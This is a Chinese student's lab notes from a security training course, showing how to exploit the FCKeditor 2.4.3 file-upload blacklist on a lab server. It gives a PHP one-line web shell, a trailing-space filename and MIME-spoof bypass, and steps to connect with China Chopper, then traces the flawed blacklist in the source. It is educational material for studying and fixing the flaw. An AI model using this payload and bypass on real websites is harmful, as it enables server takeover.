FCKeditor 2.4.3文件上传漏洞 ——合天网安实验室学习笔记

2023-11-02 15:20

本文主要是介绍FCKeditor 2.4.3文件上传漏洞 ——合天网安实验室学习笔记,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

实验链接

FCKeditor是一款开放源码的文本编辑器,其2.4.3版本upload.php文件使用黑名单进行文件校验,通过实验学习如何绕过黑名单检测,上传恶意文件。

链接:http://www.hetianlab.com/expc.do?ce=374758bd-360d-44ac-8db5-a60ac5c25866

实验简介

实验所属系列: Web安全

实验对象: 本科/专科信息安全专业

相关课程及专业: 计算机基础、计算机网络、PHP

实验类别: 实践实验类

预备知识

  • 编辑器漏洞

    常见的文本编辑器有FCKeditor、Ewebeditor、UEditor、KindEditor、XHeditor等,它们包含的功能类似,如图片上传、视频上传、远程下载等。使用这类编辑器减少了程序开发的时间,但也存在通用性漏洞带来的危害。

  • 漏洞介绍

    FCKeditor/fckeditor/editor/filemanager/upload/php/upload.php文件上传漏洞。

    漏洞修复:upload.php文件使用黑名单校验,可以根据需要的类型修改为白名单参数。

  • FCKeditor介绍

    FCKeditor是一款开放源码的HTML文本编辑器,可以为用户提供微软office软件一样的在线文档编辑服务。FCKeditor不需要安装任何形式的客户端,且兼容绝大多数主流浏览器,支持PHP、jsp、asp、python等编程环境。

  • FCKeditor常用上传地址

fckeditor/editor/filemanager/connectors/test.htmlfckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connectorfckeditor/editor/filemanager/upload/test.htmlfckeditor/editor/filemanager/browser/default/connectors/test.htmlfckeditor/editor/filemanager/connectors/uploadtest.html

实验目的

通过实验掌握FCKeditor编辑器文件上传漏洞的原因和利用方法。

实验环境

  • 服务器:Windows 10 + FCKeditor2.4.3、ip:10.1.1.100

  • FCKeditor2.4.3目录:C:\phpStudy\WWW\fckeditor-master\

  • 工具:phpStudy、Firefox、sublime text2、burpsuite、中国菜刀

实验步骤

步骤一

任务描述:2.4.3版本存在版本信息泄露,通过两种方法查看FCKeditor版本信息。

  1. 浏览器访问http://10.1.1.100/fckeditor-master/editor/dialog/fck_about.html

在这里插入图片描述

  1. 浏览器访问http://10.1.1.100/fckeditor-master/_whatsnew.html

在这里插入图片描述

步骤二

任务描述:FCKeditor 2.4.3文件上传漏洞利用。

浏览器访问 “http://10.1.1.100/fckeditor-master/editor/filemanager/browser/default/connectors/test.html”

在这里插入图片描述

需自己在桌面上创建test.php文件, 内容为一句话木马:“<?php @eval($_POST['upload']);?>”。

在这里插入图片描述

然后【Connector】选择PHP,然后直接上传PHP文件会出现提示:

在这里插入图片描述
在这里插入图片描述

表示不能上传PHP类型的文件。

重新上传PHP文件并用burpsuite抓包:

burpsuite详细教程可参考我的另一篇笔记:burp进行暴力破解
在这里插入图片描述
采用空格绕过,即修改文件名为“test.php ”,并修改MIME类型“image/png”:
在这里插入图片描述

将修改后的报文发送至Repeater,GO:
在这里插入图片描述

Forward后网页出现提示:
在这里插入图片描述
在这里插入图片描述

文件上传成功。

关闭burpsuite的intercept,点击页面【Get Folders and Files】,可以看到路径直接显示在页面中:
在这里插入图片描述

使用菜刀工具执行一句话木马文件:

首先将代理服务器取消,改回原本设置:
在这里插入图片描述
注:工具在C:\tools\中国菜刀\文件夹内

添加地址:“http://10.1.1.100/zf-smarty/public/uploads/file/test.php”

在这里插入图片描述

在【POST输入框】中填写需要执行的命令"upload=phpinfo();"并提交:

在这里插入图片描述
页面显示:
在这里插入图片描述
???没有反应???

不管了,尝试继续向下,应该没有影响(事实证明没有影响)。

使用菜刀工具连接目标服务器。

在空白处右键->添加:
在这里插入图片描述地址的两列分别填写"http://10.1.1.100/zf-smarty/public/uploads/file/test.php"、“upload”
在这里插入图片描述
就可找到一句话木马所在文件了。
在这里插入图片描述

步骤三

任务描述:FCKeditor 2.4.3文件上传漏洞分析。

请求为php/connector.php?Command=GetFolders And Files&Type=File&CurrentFolder=/,所以打开\fckeditor-master\editor\filemanager\browser\default\connectors\php\connector.php文件:
在这里插入图片描述追踪Command参数:
在这里插入图片描述

参数$sCommand经过FileUpload函数进行处理:
在这里插入图片描述

跟进FileUpload函数\php\commands.php:

在这里插入图片描述

发现存在黑名单文件。
在这里插入图片描述

继续追踪黑名单\php\config.php文件:
在这里插入图片描述
此处可观察到网页所运行上传的文件为黑名单外所有文件,这就是为什么可以利用Windows特性,在文件名后加空白的方法可以绕过黑名单检测。

答题

在这里插入图片描述

这篇关于FCKeditor 2.4.3文件上传漏洞 ——合天网安实验室学习笔记的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/331504

相关文章

Go学习记录之runtime包深入解析

《Go学习记录之runtime包深入解析》Go语言runtime包管理运行时环境,涵盖goroutine调度、内存分配、垃圾回收、类型信息等核心功能,:本文主要介绍Go学习记录之runtime包的... 目录前言:一、runtime包内容学习1、作用:① Goroutine和并发控制:② 垃圾回收:③ 栈和

Python中文件读取操作漏洞深度解析与防护指南

《Python中文件读取操作漏洞深度解析与防护指南》在Web应用开发中,文件操作是最基础也最危险的功能之一,这篇文章将全面剖析Python环境中常见的文件读取漏洞类型,成因及防护方案,感兴趣的小伙伴可... 目录引言一、静态资源处理中的路径穿越漏洞1.1 典型漏洞场景1.2 os.path.join()的陷

Android学习总结之Java和kotlin区别超详细分析

《Android学习总结之Java和kotlin区别超详细分析》Java和Kotlin都是用于Android开发的编程语言,它们各自具有独特的特点和优势,:本文主要介绍Android学习总结之Ja... 目录一、空安全机制真题 1:Kotlin 如何解决 Java 的 NullPointerExceptio

GitLab文件的上传与下载方式

《GitLab文件的上传与下载方式》:本文主要介绍GitLab文件的上传与下载方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录GitLab 项目拉取到本地GitLab 项目上传方法方法 1:本地项目未初始化Git方法 2:本地项目已初始化GitGitLab 上

Nginx 413修改上传文件大小限制的方法详解

《Nginx413修改上传文件大小限制的方法详解》在使用Nginx作为Web服务器时,有时会遇到客户端尝试上传大文件时返回​​413RequestEntityTooLarge​​... 目录1. 理解 ​​413 Request Entity Too Large​​ 错误2. 修改 Nginx 配置2.1

Java应用如何防止恶意文件上传

《Java应用如何防止恶意文件上传》恶意文件上传可能导致服务器被入侵,数据泄露甚至服务瘫痪,因此我们必须采取全面且有效的防范措施来保护Java应用的安全,下面我们就来看看具体的实现方法吧... 目录恶意文件上传的潜在风险常见的恶意文件上传手段防范恶意文件上传的关键策略严格验证文件类型检查文件内容控制文件存储

重新对Java的类加载器的学习方式

《重新对Java的类加载器的学习方式》:本文主要介绍重新对Java的类加载器的学习方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录1、介绍1.1、简介1.2、符号引用和直接引用1、符号引用2、直接引用3、符号转直接的过程2、加载流程3、类加载的分类3.1、显示

Java实现MinIO文件上传的加解密操作

《Java实现MinIO文件上传的加解密操作》在云存储场景中,数据安全是核心需求之一,MinIO作为高性能对象存储服务,支持通过客户端加密(CSE)在数据上传前完成加密,下面我们来看看如何通过Java... 目录一、背景与需求二、技术选型与原理1. 加密方案对比2. 核心算法选择三、完整代码实现1. 加密上

在React聊天应用中实现图片上传功能

《在React聊天应用中实现图片上传功能》在现代聊天应用中,除了文字和表情,图片分享也是一个重要的功能,本文将详细介绍如何在基于React的聊天应用中实现图片上传和预览功能,感兴趣的小伙伴跟着小编一起... 目录技术栈实现步骤1. 消息组件改造2. 图片预览组件3. 聊天输入组件改造功能特点使用说明注意事项

Java学习手册之Filter和Listener使用方法

《Java学习手册之Filter和Listener使用方法》:本文主要介绍Java学习手册之Filter和Listener使用方法的相关资料,Filter是一种拦截器,可以在请求到达Servl... 目录一、Filter(过滤器)1. Filter 的工作原理2. Filter 的配置与使用二、Listen